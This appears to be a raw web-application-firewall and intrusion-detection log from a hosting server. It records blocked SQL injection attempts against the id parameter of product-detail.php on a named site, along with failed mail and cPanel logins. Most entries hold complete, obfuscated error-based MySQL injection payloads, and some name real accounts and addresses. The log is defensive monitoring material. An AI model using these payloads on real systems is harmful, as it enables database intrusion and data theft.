IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/(select/**/1527/**/from(select/**/count(*),concat('~',(select/**/(elt(1527=1527,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (\"aejpuicz\"=\"aejpuicz\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 164.138.207.42
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/(select/**/5819/**/from(select/**/count(*),concat('~',(select/**/(elt(5819=5819,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and 'sc88dr97' like 'sc88dr97||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1)))/*!50000AND*/(/*!50000SELECT*/8024/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(8024=8024,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((1070=1070||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 123.22.187.228
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND AND/**/(SELECT/**/5880/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5880=5880,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:35:10 dovecot_login authenticator failed for H=(pYvFkM) [178.16.52.139]:49650: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:35:33 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 80.94.250.16
country_id: 617790
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/(select/**/5286/**/from(select/**/count(*),concat('~',(select/**/(elt(5286=5286,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:35:13 dovecot_login authenticator failed for H=(7BB1Hxz) [158.94.208.175]:61312: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 186.23.84.204
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1')and/**/(select/**/5763/**/from(select/**/count(*),concat('~',(select/**/(elt(5763=5763,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and ('gfpdtt4f' like 'gfpdtt4f||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 80.94.250.16
country_id: 617790
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1') AND /*!50000AND*/(/*!50000SELECT*/1131/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(1131=1131,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.23.84.204
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1')AND/**/(SELECT/**/5763/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5763=5763,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ('gFpDTT4F' LIKE 'gFpDTT4F||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.168.197.241
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\")/*!50000AND*/(/*!50000SELECT*/6641/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(6641=6641,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (\"StwlerTF\" LIKE \"StwlerTF\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.168.197.241
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1and/**/(select/**/4466/**/from(select/**/count(*),concat('~',(select/**/(elt(4466=4466,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:35:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59306: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 05:35:06 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:60594: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 80.94.250.16
country_id: 617790
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/(select/**/5286/**/from(select/**/count(*),concat('~',(select/**/(elt(5286=5286,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 190.163.165.117
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\" and and/**/(select/**/1426/**/from(select/**/count(*),concat('~',(select/**/(elt(1426=1426,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.23.84.204
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/(SELECT/**/5763/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5763=5763,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ('gFpDTT4F' LIKE 'gFpDTT4F||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 123.22.187.228
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1' AND AND/**/(SELECT/**/5880/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5880=5880,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:35:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 190.163.165.117
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\" AND AND/**/(SELECT/**/1426/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1426=1426,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.173.68.220
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\"/*!50000AND*/(/*!50000SELECT*/3167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3167=3167,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND \"h2GgzUvT\"=\"h2GgzUvT\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 164.138.207.42
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/(SELECT/**/5819/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5819=5819,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND 'Sc88Dr97' LIKE 'Sc88Dr97||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)))/*!50000AND*/(/*!50000SELECT*/8024/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(8024=8024,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((1070=1070||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 05:36:16 +0800] info [cpaneld] 185.204.54.153 - kednek "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kednek (has_cpuser_file failed)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.160.188.240
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/(select/**/3935/**/from(select/**/count(*),concat('~',(select/**/(elt(3935=3935,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/(SELECT/**/6250/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(6250=6250,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)# 8n0OZrmd HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.187.214.129
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\")))/*!50000AND*/(/*!50000SELECT*/4675/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(4675=4675,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((\"sxZgABVn\"=\"sxZgABVn\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.247.42.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'and/**/(select/**/7781/**/from(select/**/count(*),concat('~',(select/**/(elt(7781=7781,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) or '2j9ninfb'='3mgs4mz1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/(SELECT/**/6947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(6947=6947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)# 5pFreVOk HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:36:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 181.37.238.49
country_id: 3508796
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\")and/**/(select/**/1348/**/from(select/**/count(*),concat('~',(select/**/(elt(1348=1348,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (\"gv8xmg7s\" like \"gv8xmg7s||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:36:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46694: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.160.188.240
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'/*!50000AND*/(/*!50000SELECT*/5167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5167=5167,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/(select/**/6947/**/from(select/**/count(*),concat('~',(select/**/(elt(6947=6947,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)# 5pfrevok||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 179.125.147.176
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1')/*!50000AND*/(/*!50000SELECT*/7527/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7527=7527,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.167.243.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\"and/**/(select/**/9387/**/from(select/**/count(*),concat('~',(select/**/(elt(9387=9387,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and \"mitylttq\" like \"mitylttq\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 113.167.243.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\"AND/**/(SELECT/**/9387/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9387=9387,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND \"mityLttQ\" LIKE \"mityLttQ\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 179.125.147.176
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1')/*!50000AND*/(/*!50000SELECT*/7527/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7527=7527,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 179.125.147.176
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1)and/**/(select/**/1840/**/from(select/**/count(*),concat('~',(select/**/(elt(1840=1840,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.37.238.49
country_id: 3508796
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/5371/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5371=5371,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.187.214.129
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'))and/**/(select/**/6472/**/from(select/**/count(*),concat('~',(select/**/(elt(6472=6472,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (('xzkgas3l' like 'xzkgas3l||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 181.37.238.49
country_id: 3508796
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'/*!50000AND*/(/*!50000SELECT*/5371/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5371=5371,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:36:56 dovecot_login authenticator failed for H=(frE789tpCb) [158.94.208.175]:59468: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.167.243.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\"AND/**/(SELECT/**/9387/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9387=9387,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND \"mityLttQ\" LIKE \"mityLttQ\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:36:11 dovecot_login authenticator failed for H=(iQIfwcOEA) [165.154.217.204]:52429: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1')))AND/**/(SELECT/**/7400/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7400=7400,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ((('rMqWu5le'='rMqWu5le||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.37.238.49
country_id: 3508796
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/(select/**/1348/**/from(select/**/count(*),concat('~',(select/**/(elt(1348=1348,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (\"gv8xmg7s\" like \"gv8xmg7s||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.191.71.47
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1 and and/**/updatexml(5989,concat('.','~',(select/**/(elt(5989=5989,1))),'~'),9517)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.160.188.240
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/5167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5167=5167,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 113.160.188.240
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/5167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5167=5167,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1and/**/(select/**/6947/**/from(select/**/count(*),concat('~',(select/**/(elt(6947=6947,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)# 5pfrevok||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 179.125.147.176
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')/*!50000AND*/(/*!50000SELECT*/7527/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(7527=7527,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 179.125.147.176
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/(select/**/1840/**/from(select/**/count(*),concat('~',(select/**/(elt(1840=1840,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.167.243.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/(select/**/9387/**/from(select/**/count(*),concat('~',(select/**/(elt(9387=9387,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and \"mitylttq\" like \"mitylttq\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.167.243.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"AND/**/(SELECT/**/9387/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9387=9387,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND \"mityLttQ\" LIKE \"mityLttQ\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1AND/**/(SELECT/**/6947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(6947=6947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)# 5pFreVOk||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/6651/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(6651=6651,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) OR 'e2U9F0ck'='rm2nrqu7||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 181.37.238.49
country_id: 3508796
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/5371/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5371=5371,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')))and/**/(select/**/7400/**/from(select/**/count(*),concat('~',(select/**/(elt(7400=7400,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and ((('rmqwu5le'='rmqwu5le||RSV:7.71||T:APACHE||


